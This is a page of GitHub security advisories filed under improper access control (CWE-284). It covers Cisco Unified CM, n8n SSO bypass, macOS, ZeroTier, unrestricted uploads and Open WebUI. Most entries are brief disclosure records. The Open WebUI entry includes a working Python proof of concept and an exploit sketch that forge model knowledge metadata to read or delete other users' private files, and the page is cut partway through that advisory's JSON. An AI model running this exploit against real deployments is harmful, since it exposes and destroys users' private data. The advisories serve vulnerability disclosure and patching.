CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
7801 vulnerabilities reference this CWE, most recent first.
GHSA-VJCC-9Q9G-593V
Vulnerability from github – Published: 2022-07-07 00:00 – Updated: 2022-07-15 00:00A vulnerability in the Disaster Recovery framework of Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P), and Cisco Unity Connection could allow an authenticated, remote attacker to perform certain administrative actions they should not be able to. This vulnerability is due to insufficient access control checks on the affected device. An attacker with read-only privileges could exploit this vulnerability by executing a specific vulnerable command on an affected device. A successful exploit could allow the attacker to perform a set of administrative actions they should not be able to.
{
"affected": [],
"aliases": [
"CVE-2022-20859"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-06T21:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the Disaster Recovery framework of Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM \u0026amp; Presence Service (Unified CM IM\u0026amp;P), and Cisco Unity Connection could allow an authenticated, remote attacker to perform certain administrative actions they should not be able to. This vulnerability is due to insufficient access control checks on the affected device. An attacker with read-only privileges could exploit this vulnerability by executing a specific vulnerable command on an affected device. A successful exploit could allow the attacker to perform a set of administrative actions they should not be able to.",
"id": "GHSA-vjcc-9q9g-593v",
"modified": "2022-07-15T00:00:17Z",
"published": "2022-07-07T00:00:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20859"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ucm-access-dMKvV2DY"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VJF3-2GPJ-233V
Vulnerability from github – Published: 2026-02-26 22:45 – Updated: 2026-02-26 22:45Impact
An authenticated user signed in through Single Sign-On (SSO) could disable SSO enforcement for their own account through the n8n API. This allowed the user to create a local password and authenticate directly with email and password, completely bypassing the organization's SSO policy, centralized identity management, and any identity-provider-enforced multi-factor authentication.
Patches
The issue has been fixed in n8n version 2.8.0. Users should upgrade to this version or later to remediate the vulnerability.
Workarounds
If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Monitor audit logs for users who create local credentials after authenticating via SSO. - Restrict the n8n instance to fully trusted users only.
These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-284",
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:45:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Impact\nAn authenticated user signed in through Single Sign-On (SSO) could disable SSO enforcement for their own account through the n8n API. This allowed the user to create a local password and authenticate directly with email and password, completely bypassing the organization\u0027s SSO policy, centralized identity management, and any identity-provider-enforced multi-factor authentication.\n\n## Patches\nThe issue has been fixed in n8n version 2.8.0. Users should upgrade to this version or later to remediate the vulnerability.\n\n## Workarounds\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Monitor audit logs for users who create local credentials after authenticating via SSO.\n- Restrict the n8n instance to fully trusted users only.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
"id": "GHSA-vjf3-2gpj-233v",
"modified": "2026-02-26T22:45:14Z",
"published": "2026-02-26T22:45:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-vjf3-2gpj-233v"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/commit/a70b2ea379086da3de103bb84811e88cadf29976"
},
{
"type": "PACKAGE",
"url": "https://github.com/n8n-io/n8n"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.8.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "n8n has an SSO Enforcement Bypass in its Self-Service Settings API"
}
GHSA-VJFX-MP69-QFW4
Vulnerability from github – Published: 2025-04-01 00:30 – Updated: 2025-11-04 00:32A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.4. An app may be able to enumerate devices that have signed into the user's Apple Account.
{
"affected": [],
"aliases": [
"CVE-2025-24248"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-31T23:15:21Z",
"severity": "MODERATE"
},
"details": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.4. An app may be able to enumerate devices that have signed into the user\u0027s Apple Account.",
"id": "GHSA-vjfx-mp69-qfw4",
"modified": "2025-11-04T00:32:21Z",
"published": "2025-04-01T00:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24248"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122373"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Apr/8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-VJH4-2H5F-4QP2
Vulnerability from github – Published: 2022-04-12 00:00 – Updated: 2022-04-19 00:01ZeroTierOne for windows local privilege escalation because of incorrect directory privilege in GitHub repository zerotier/zerotierone prior to 1.8.8. Local Privilege Escalation
{
"affected": [],
"aliases": [
"CVE-2022-1316"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-284",
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-11T20:15:00Z",
"severity": "HIGH"
},
"details": "ZeroTierOne for windows local privilege escalation because of incorrect directory privilege in GitHub repository zerotier/zerotierone prior to 1.8.8. Local Privilege Escalation",
"id": "GHSA-vjh4-2h5f-4qp2",
"modified": "2022-04-19T00:01:24Z",
"published": "2022-04-12T00:00:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1316"
},
{
"type": "WEB",
"url": "https://github.com/zerotier/zerotierone/commit/ffb444dbeb6bea3cb155502395e61cb6d18708c9"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/e7835226-1b20-4546-b256-3f625badb022"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VJM2-VP2C-VQMW
Vulnerability from github – Published: 2025-11-16 12:30 – Updated: 2025-11-16 12:30A security vulnerability has been detected in Jiusi OA up to 20251102. This affects an unknown function of the file /OfficeServer?isAjaxDownloadTemplate=false of the component OfficeServer Interface. Such manipulation of the argument FileData leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed publicly and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-13249"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-16T12:15:42Z",
"severity": "MODERATE"
},
"details": "A security vulnerability has been detected in Jiusi OA up to 20251102. This affects an unknown function of the file /OfficeServer?isAjaxDownloadTemplate=false of the component OfficeServer Interface. Such manipulation of the argument FileData leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed publicly and may be used.",
"id": "GHSA-vjm2-vp2c-vqmw",
"modified": "2025-11-16T12:30:24Z",
"published": "2025-11-16T12:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13249"
},
{
"type": "WEB",
"url": "https://github.com/rooboot501/my-project/blob/main/jiousi.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.332583"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.332583"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.687599"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VJMG-6QJC-GXGH
Vulnerability from github – Published: 2025-04-01 00:30 – Updated: 2025-04-01 00:30A vulnerability classified as critical has been found in Project Worlds Online Time Table Generator 1.0. This affects an unknown part of the file /admin/updatestudent.php. The manipulation of the argument pic leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-3041"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-01T00:15:15Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical has been found in Project Worlds Online Time Table Generator 1.0. This affects an unknown part of the file /admin/updatestudent.php. The manipulation of the argument pic leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-vjmg-6qjc-gxgh",
"modified": "2025-04-01T00:30:46Z",
"published": "2025-04-01T00:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3041"
},
{
"type": "WEB",
"url": "https://github.com/ydnd/cve/issues/12"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.302103"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.302103"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.524935"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VJQM-6GCC-62CR
Vulnerability from github – Published: 2026-06-17 14:15 – Updated: 2026-06-17 14:15Summary
Open WebUI lets a user who can create, update, or import workspace models store arbitrary meta.knowledge entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats meta.knowledge entries of type file as an authorization source in two places: the built-in view_file tool reads the file's extracted text, and has_access_to_file()'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file.
Impact
Security boundary crossed: file confidentiality and integrity.
An authenticated attacker needs the workspace.models or workspace.models_import permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:
- read the file's extracted text (up to
100000characters perview_filecall fromfile.data.content), - read the file's content via
GET /api/v1/files/{id}/content, and - delete the file via
DELETE /api/v1/files/{id}.
Root Cause
ModelMeta allows extra metadata fields and ModelForm accepts that metadata without a validator for meta.knowledge file access:
# backend/open_webui/models/models.py
class ModelForm(BaseModel):
model_config = ConfigDict(extra='ignore')
id: str
base_model_id: Optional[str] = None
name: str
meta: ModelMeta
params: ModelParams
Model creation only checks the caller's model-workspace permission and then stores the form data:
# backend/open_webui/routers/models.py
if user.role != 'admin' and not await has_permission(
user.id, 'workspace.models', request.app.state.config.USER_PERMISSIONS, db=db
):
raise HTTPException(...)
model = await Models.insert_new_model(form_data, user.id, db=db)
The insert sink persists the supplied meta:
# backend/open_webui/models/models.py
result = Model(
**{
**form_data.model_dump(exclude={'access_grants'}),
'user_id': user_id,
...
}
)
When built-in tools are assembled, meta.knowledge is passed through as __model_knowledge__, and any file entry enables view_file:
# backend/open_webui/utils/tools.py
model_knowledge = model.get('info', {}).get('meta', {}).get('knowledge', [])
...
knowledge_types = {item.get('type') for item in model_knowledge}
if 'file' in knowledge_types or 'collection' in knowledge_types:
builtin_functions.append(view_file)
view_file treats matching __model_knowledge__ file IDs as authorization, before has_access_to_file():
# backend/open_webui/tools/builtin.py
if (
file.user_id != user_id
and user_role != 'admin'
and not any(
item.get('type') == 'file' and item.get('id') == file_id for item in (__model_knowledge__ or [])
)
and not await has_access_to_file(...)
):
return json.dumps({'error': 'File not found'})
The same forged meta.knowledge is also trusted outside the tool path. has_access_to_file() iterates the caller's accessible models and returns true when a model's meta.knowledge contains the requested file ID:
# backend/open_webui/utils/access_control/files.py
for model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db):
knowledge_items = getattr(model.meta, 'knowledge', None) or []
for item in knowledge_items:
if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id:
return True
This branch is not restricted to read, so it also satisfies the write check that DELETE /api/v1/files/{id} performs. The same missing validation applies to the import path (POST /api/v1/models/import) and the update path, not only create.
PoC
#!/usr/bin/env python3
"""
Verifier for forged model meta.knowledge file entries reaching builtin tools.
The proof executes:
- the real Models.insert_new_model() sink with a forged meta.knowledge entry
- the real builtin view_file() authorization branch
Fake DB/model adapters are used only to avoid requiring a live Open WebUI
server. The security-sensitive code under test is Open WebUI application code.
"""
from __future__ import annotations
import asyncio
import ast
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace
REPO = Path(__file__).resolve().parents[1]
BUILTIN_TOOLS = REPO / "backend/open_webui/tools/builtin.py"
def prepare_imports() -> None:
sys.path.insert(0, str(REPO / "backend"))
os.environ["VECTOR_DB"] = "none"
class DummyTyper:
def command(self, *args, **kwargs):
return lambda fn: fn
sys.modules.setdefault(
"typer",
types.SimpleNamespace(
Typer=lambda *args, **kwargs: DummyTyper(),
Option=lambda *args, **kwargs: None,
echo=lambda *args, **kwargs: None,
Exit=Exception,
),
)
sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))
class FakeDb:
def __init__(self):
self.added = []
self.committed = False
self.refreshed = False
def add(self, row):
self.added.append(row)
async def commit(self):
self.committed = True
async def refresh(self, row):
self.refreshed = True
class FakeDbContext:
def __init__(self, db):
self.db = db
async def __aenter__(self):
return self.db
async def __aexit__(self, exc_type, exc, tb):
return False
async def verify_model_insert_accepts_victim_file(victim_file_id: str):
import open_webui.models.models as models_module
fake_db = FakeDb()
original_context = models_module.get_async_db_context
original_set_grants = models_module.AccessGrants.set_access_grants
original_to_model = models_module.Models._to_model_model
async def fake_set_access_grants(*args, **kwargs):
return True
async def fake_to_model(self, model, access_grants=None, db=None):
return SimpleNamespace(
id=model.id,
user_id=model.user_id,
base_model_id=model.base_model_id,
name=model.name,
params=model.params,
meta=model.meta,
access_grants=[],
is_active=model.is_active,
created_at=model.created_at,
updated_at=model.updated_at,
)
try:
models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
models_module.AccessGrants.set_access_grants = fake_set_access_grants
models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models)
inserted = await models_module.Models.insert_new_model(
models_module.ModelForm(
id="attacker-model",
base_model_id="gpt-vision-base",
name="Attacker Model",
params={},
meta={
"knowledge": [
{
"id": victim_file_id,
"type": "file",
"name": "victim-private.txt",
}
],
"builtinTools": {"knowledge": True},
},
),
user_id="attacker",
)
finally:
models_module.get_async_db_context = original_context
models_module.AccessGrants.set_access_grants = original_set_grants
models_module.Models._to_model_model = original_to_model
stored_meta = [getattr(row, "meta", None) for row in fake_db.added]
stored_knowledge_ids = [
item.get("id")
for meta in stored_meta
for item in ((meta or {}).get("knowledge") or [])
]
return {
"insert_returned_model": bool(inserted),
"db_commit_called": fake_db.committed,
"stored_user_ids": [getattr(row, "user_id", None) for row in fake_db.added],
"stored_model_ids": [getattr(row, "id", None) for row in fake_db.added],
"stored_knowledge_file_ids": stored_knowledge_ids,
}
async def verify_view_file_trusts_model_knowledge(victim_file_id: str):
class FakeFiles:
looked_up_ids = []
async def get_file_by_id(self, file_id, db=None):
self.looked_up_ids.append(file_id)
if file_id == victim_file_id:
return SimpleNamespace(
id=victim_file_id,
user_id="victim",
filename="victim-private.txt",
data={"content": "PRIVATE_MODEL_KNOWLEDGE_SECRET"},
created_at=1,
updated_at=2,
)
return None
async def fake_has_access_to_file(file_id, access_type, user, db=None):
return False
class FakeUserModel:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
fake_files = FakeFiles()
fake_files_module = types.SimpleNamespace(Files=fake_files)
fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file)
original_files_module = sys.modules.get("open_webui.models.files")
original_acl_module = sys.modules.get("open_webui.utils.access_control.files")
try:
sys.modules["open_webui.models.files"] = fake_files_module
sys.modules["open_webui.utils.access_control.files"] = fake_file_acl_module
source = BUILTIN_TOOLS.read_text(encoding="utf-8")
tree = ast.parse(source, filename=str(BUILTIN_TOOLS))
selected = [
node
for node in tree.body
if isinstance(node, ast.AsyncFunctionDef) and node.name == "view_file"
]
if len(selected) != 1:
raise RuntimeError("could not find view_file")
module = ast.Module(body=selected, type_ignores=[])
ast.fix_missing_locations(module)
ns = {
"json": json,
"Optional": __import__("typing").Optional,
"Request": object,
"UserModel": FakeUserModel,
"log": SimpleNamespace(exception=lambda *args, **kwargs: None),
"MAX_VIEW_FILE_CHARS": 100_000,
"DEFAULT_VIEW_FILE_MAX_CHARS": 10_000,
}
exec(compile(module, str(BUILTIN_TOOLS), "exec"), ns)
view_file = ns["view_file"]
denied_without_model_knowledge = await view_file(
victim_file_id,
__request__=SimpleNamespace(),
__user__={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"},
__model_knowledge__=[],
)
allowed_with_model_knowledge = await view_file(
victim_file_id,
__request__=SimpleNamespace(),
__user__={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"},
__model_knowledge__=[{"id": victim_file_id, "type": "file"}],
)
finally:
if original_files_module is not None:
sys.modules["open_webui.models.files"] = original_files_module
else:
sys.modules.pop("open_webui.models.files", None)
if original_acl_module is not None:
sys.modules["open_webui.utils.access_control.files"] = original_acl_module
else:
sys.modules.pop("open_webui.utils.access_control.files", None)
denied = json.loads(denied_without_model_knowledge)
allowed = json.loads(allowed_with_model_knowledge)
return {
"file_ids_looked_up": fake_files.looked_up_ids,
"without_model_knowledge": denied,
"with_forged_model_knowledge": allowed,
"private_content_disclosed": allowed.get("content") == "PRIVATE_MODEL_KNOWLEDGE_SECRET",
}
async def main() -> None:
prepare_imports()
victim_file_id = "victim-private-file"
insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id)
tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id)
result = {
"confirmed": (
insert_sink["insert_returned_model"] is True
and insert_sink["stored_user_ids"] == ["attacker"]
and insert_sink["stored_knowledge_file_ids"] == [victim_file_id]
and tool_read["without_model_knowledge"].get("error") == "File not found"
and tool_read["private_content_disclosed"] is True
),
"attacker_user_id": "attacker",
"victim_user_id": "victim",
"victim_file_id": victim_file_id,
"attacker_owns_file": False,
"model_insert_sink": insert_sink,
"tool_read": tool_read,
"source": {
"insert_sink": "backend/open_webui/models/models.py:Models.insert_new_model",
"tool_injection": "backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__",
"read_sink": "backend/open_webui/tools/builtin.py:view_file",
},
}
print(json.dumps(result, indent=2, sort_keys=True))
if not result["confirmed"]:
raise SystemExit(1)
if __name__ == "__main__":
asyncio.run(main())
The PoC executes the real Models.insert_new_model() sink and the real view_file() authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in meta.knowledge, then confirms view_file() denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.
Result:
{
"attacker_owns_file": false,
"attacker_user_id": "attacker",
"confirmed": true,
"model_insert_sink": {
"db_commit_called": true,
"insert_returned_model": true,
"stored_knowledge_file_ids": [
"victim-private-file"
],
"stored_model_ids": [
"attacker-model"
],
"stored_user_ids": [
"attacker"
]
},
"tool_read": {
"private_content_disclosed": true,
"with_forged_model_knowledge": {
"content": "PRIVATE_MODEL_KNOWLEDGE_SECRET",
"filename": "victim-private.txt",
"id": "victim-private-file"
},
"without_model_knowledge": {
"error": "File not found"
}
},
"victim_file_id": "victim-private-file",
"victim_user_id": "victim"
}
Exploit Sketch
- Attacker has permission to create or update workspace models.
- Attacker creates a model with:
{
"meta": {
"knowledge": [
{
"id": "VICTIM_FILE_ID",
"type": "file",
"name": "victim-private.txt"
}
],
"builtinTools": {
"knowledge": true
}
}
}
- Attacker chats with that model using native/built-in tools and invokes
view_fileforVICTIM_FILE_ID. - The tool returns the victim file's extracted text content despite the attacker not owning or otherwise having access to the file.
Recommended Fix
Validate meta.knowledge on every model write path: create, update, and import. For entries with type == "file", require direct ownership, admin role, or has_access_to_file(file_id, 'read', user, db=db) before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as 403, not 500.
Do not let view_file() treat __model_knowledge__ as an authorization bypass; it should still enforce ownership/admin/has_access_to_file() per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.
Consolidation
Per our Report Handling policy this consolidates independent reports of the same model meta.knowledge file-ID laundering flaw:
- Read via forged
meta.knowledgeon model create, through the built-inview_filetool: @0xEr3n (earliest filing). - Distinct paths demonstrated by @5yu4n: the import endpoint (
POST /api/v1/models/import), and cross-user read and deletion through the file API (GET/DELETE /api/v1/files/{id}) viahas_access_to_file()'s model branch.
Fix validates meta.knowledge ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.5"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54012"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-285",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T14:15:33Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nOpen WebUI lets a user who can create, update, or import workspace models store arbitrary `meta.knowledge` entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats `meta.knowledge` entries of type `file` as an authorization source in two places: the built-in `view_file` tool reads the file\u0027s extracted text, and `has_access_to_file()`\u0027s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user\u0027s file ID to their model metadata and read or delete that private file.\n\n## Impact\n\nSecurity boundary crossed: file confidentiality and integrity.\n\nAn authenticated attacker needs the `workspace.models` or `workspace.models_import` permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:\n\n- read the file\u0027s extracted text (up to `100000` characters per `view_file` call from `file.data.content`),\n- read the file\u0027s content via `GET /api/v1/files/{id}/content`, and\n- delete the file via `DELETE /api/v1/files/{id}`.\n\n## Root Cause\n\n`ModelMeta` allows extra metadata fields and `ModelForm` accepts that metadata without a validator for `meta.knowledge` file access:\n\n```python\n# backend/open_webui/models/models.py\nclass ModelForm(BaseModel):\n model_config = ConfigDict(extra=\u0027ignore\u0027)\n\n id: str\n base_model_id: Optional[str] = None\n name: str\n meta: ModelMeta\n params: ModelParams\n```\n\nModel creation only checks the caller\u0027s model-workspace permission and then stores the form data:\n\n```python\n# backend/open_webui/routers/models.py\nif user.role != \u0027admin\u0027 and not await has_permission(\n user.id, \u0027workspace.models\u0027, request.app.state.config.USER_PERMISSIONS, db=db\n):\n raise HTTPException(...)\n\nmodel = await Models.insert_new_model(form_data, user.id, db=db)\n```\n\nThe insert sink persists the supplied `meta`:\n\n```python\n# backend/open_webui/models/models.py\nresult = Model(\n **{\n **form_data.model_dump(exclude={\u0027access_grants\u0027}),\n \u0027user_id\u0027: user_id,\n ...\n }\n)\n```\n\nWhen built-in tools are assembled, `meta.knowledge` is passed through as `__model_knowledge__`, and any `file` entry enables `view_file`:\n\n```python\n# backend/open_webui/utils/tools.py\nmodel_knowledge = model.get(\u0027info\u0027, {}).get(\u0027meta\u0027, {}).get(\u0027knowledge\u0027, [])\n...\nknowledge_types = {item.get(\u0027type\u0027) for item in model_knowledge}\nif \u0027file\u0027 in knowledge_types or \u0027collection\u0027 in knowledge_types:\n builtin_functions.append(view_file)\n```\n\n`view_file` treats matching `__model_knowledge__` file IDs as authorization, before `has_access_to_file()`:\n\n```python\n# backend/open_webui/tools/builtin.py\nif (\n file.user_id != user_id\n and user_role != \u0027admin\u0027\n and not any(\n item.get(\u0027type\u0027) == \u0027file\u0027 and item.get(\u0027id\u0027) == file_id for item in (__model_knowledge__ or [])\n )\n and not await has_access_to_file(...)\n):\n return json.dumps({\u0027error\u0027: \u0027File not found\u0027})\n```\n\nThe same forged `meta.knowledge` is also trusted outside the tool path. `has_access_to_file()` iterates the caller\u0027s accessible models and returns true when a model\u0027s `meta.knowledge` contains the requested file ID:\n\n```python\n# backend/open_webui/utils/access_control/files.py\nfor model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db):\n knowledge_items = getattr(model.meta, \u0027knowledge\u0027, None) or []\n for item in knowledge_items:\n if isinstance(item, dict) and item.get(\u0027type\u0027) == \u0027file\u0027 and item.get(\u0027id\u0027) == file.id:\n return True\n```\n\nThis branch is not restricted to read, so it also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs. The same missing validation applies to the import path (`POST /api/v1/models/import`) and the update path, not only create.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVerifier for forged model meta.knowledge file entries reaching builtin tools.\n\nThe proof executes:\n - the real Models.insert_new_model() sink with a forged meta.knowledge entry\n - the real builtin view_file() authorization branch\n\nFake DB/model adapters are used only to avoid requiring a live Open WebUI\nserver. The security-sensitive code under test is Open WebUI application code.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport ast\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\nREPO = Path(__file__).resolve().parents[1]\nBUILTIN_TOOLS = REPO / \"backend/open_webui/tools/builtin.py\"\n\n\ndef prepare_imports() -\u003e None:\n sys.path.insert(0, str(REPO / \"backend\"))\n os.environ[\"VECTOR_DB\"] = \"none\"\n\n class DummyTyper:\n def command(self, *args, **kwargs):\n return lambda fn: fn\n\n sys.modules.setdefault(\n \"typer\",\n types.SimpleNamespace(\n Typer=lambda *args, **kwargs: DummyTyper(),\n Option=lambda *args, **kwargs: None,\n echo=lambda *args, **kwargs: None,\n Exit=Exception,\n ),\n )\n sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeDb:\n def __init__(self):\n self.added = []\n self.committed = False\n self.refreshed = False\n\n def add(self, row):\n self.added.append(row)\n\n async def commit(self):\n self.committed = True\n\n async def refresh(self, row):\n self.refreshed = True\n\n\nclass FakeDbContext:\n def __init__(self, db):\n self.db = db\n\n async def __aenter__(self):\n return self.db\n\n async def __aexit__(self, exc_type, exc, tb):\n return False\n\n\nasync def verify_model_insert_accepts_victim_file(victim_file_id: str):\n import open_webui.models.models as models_module\n\n fake_db = FakeDb()\n original_context = models_module.get_async_db_context\n original_set_grants = models_module.AccessGrants.set_access_grants\n original_to_model = models_module.Models._to_model_model\n\n async def fake_set_access_grants(*args, **kwargs):\n return True\n\n async def fake_to_model(self, model, access_grants=None, db=None):\n return SimpleNamespace(\n id=model.id,\n user_id=model.user_id,\n base_model_id=model.base_model_id,\n name=model.name,\n params=model.params,\n meta=model.meta,\n access_grants=[],\n is_active=model.is_active,\n created_at=model.created_at,\n updated_at=model.updated_at,\n )\n\n try:\n models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n models_module.AccessGrants.set_access_grants = fake_set_access_grants\n models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models)\n\n inserted = await models_module.Models.insert_new_model(\n models_module.ModelForm(\n id=\"attacker-model\",\n base_model_id=\"gpt-vision-base\",\n name=\"Attacker Model\",\n params={},\n meta={\n \"knowledge\": [\n {\n \"id\": victim_file_id,\n \"type\": \"file\",\n \"name\": \"victim-private.txt\",\n }\n ],\n \"builtinTools\": {\"knowledge\": True},\n },\n ),\n user_id=\"attacker\",\n )\n finally:\n models_module.get_async_db_context = original_context\n models_module.AccessGrants.set_access_grants = original_set_grants\n models_module.Models._to_model_model = original_to_model\n\n stored_meta = [getattr(row, \"meta\", None) for row in fake_db.added]\n stored_knowledge_ids = [\n item.get(\"id\")\n for meta in stored_meta\n for item in ((meta or {}).get(\"knowledge\") or [])\n ]\n\n return {\n \"insert_returned_model\": bool(inserted),\n \"db_commit_called\": fake_db.committed,\n \"stored_user_ids\": [getattr(row, \"user_id\", None) for row in fake_db.added],\n \"stored_model_ids\": [getattr(row, \"id\", None) for row in fake_db.added],\n 